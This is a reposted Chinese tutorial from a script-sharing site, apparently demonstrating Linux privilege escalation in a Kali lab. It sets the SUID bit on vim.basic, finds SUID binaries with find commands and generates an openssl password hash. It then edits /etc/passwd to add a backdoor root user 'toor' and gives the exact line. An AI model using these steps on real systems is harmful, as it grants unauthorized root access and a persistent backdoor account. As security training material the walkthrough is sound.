脚本宝典收集整理的这篇文章主要介绍了Linux使用suid vim.basic文件实现提权，脚本宝典觉得挺不错的，现在分享给大家，也给大家做个参考。

在Kali上复现

先给需要的vim.basic文件设置suid权限

chmod u+s /usr/bin/vim.basic

先adduser test1一个普通权限用户

现在就是一个合适的提权环境

通过以下命令可以找到存在suid权限的文件

find / -user root -PErm -4000 -PRint 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \；

可用于提权的文件有

• nmap
• vim
• find
• bash
• more
• less
• nano
• cp

利用vim提权的思路是修改etc/passwd文件，为自己添加一个有root权限的用户

passwd文件用户格式为：用户名:密码:uid:gid:注释:home目录:用户的shell

这边可以看看root用户的格式

root:x:0:0:root:/root:/bin/bash

（密码这部分之所以是x，是因为真正的密码存在/etc/shadow文件里）

生成密码：用Openssl passwd -1 –salt asd 123 （这里是-1（数字1）不是L）

直接写在Passwd文件里面，

toor:$1$asd$sTMDZlRI6L.jJEw2I.3x8.:0:0:root:/toor:/bin/bash

用vim /etc/passwd可以修改，但是在保存是会出现E212，无法保存，提示我们没有权限修改这个

这时应该用之前find找到的vim.basic文件运行，这个程序是有suid权限的。绝对可以修改

vim.basic /etc/passwd

用这个打开，然后修改文件，就可以成功保存

可以看到已经添加了，su toor切换，密码123，再id查看一下权限

root权限

chmod u+s /usr/bin/vim.basic

以上就是本文的全部内容，希望对大家的学习有所帮助，也希望大家多多支持脚本宝典。

脚本宝典总结

以上是脚本宝典为你收集整理的Linux使用suid vim.basic文件实现提权全部内容，希望文章能够帮你解决Linux使用suid vim.basic文件实现提权所遇到的问题。

如果觉得脚本宝典网站内容还不错，欢迎将脚本宝典推荐好友。

本图文内容来源于网友网络收集整理提供，作为学习参考使用，版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ：384754419，请注明来意。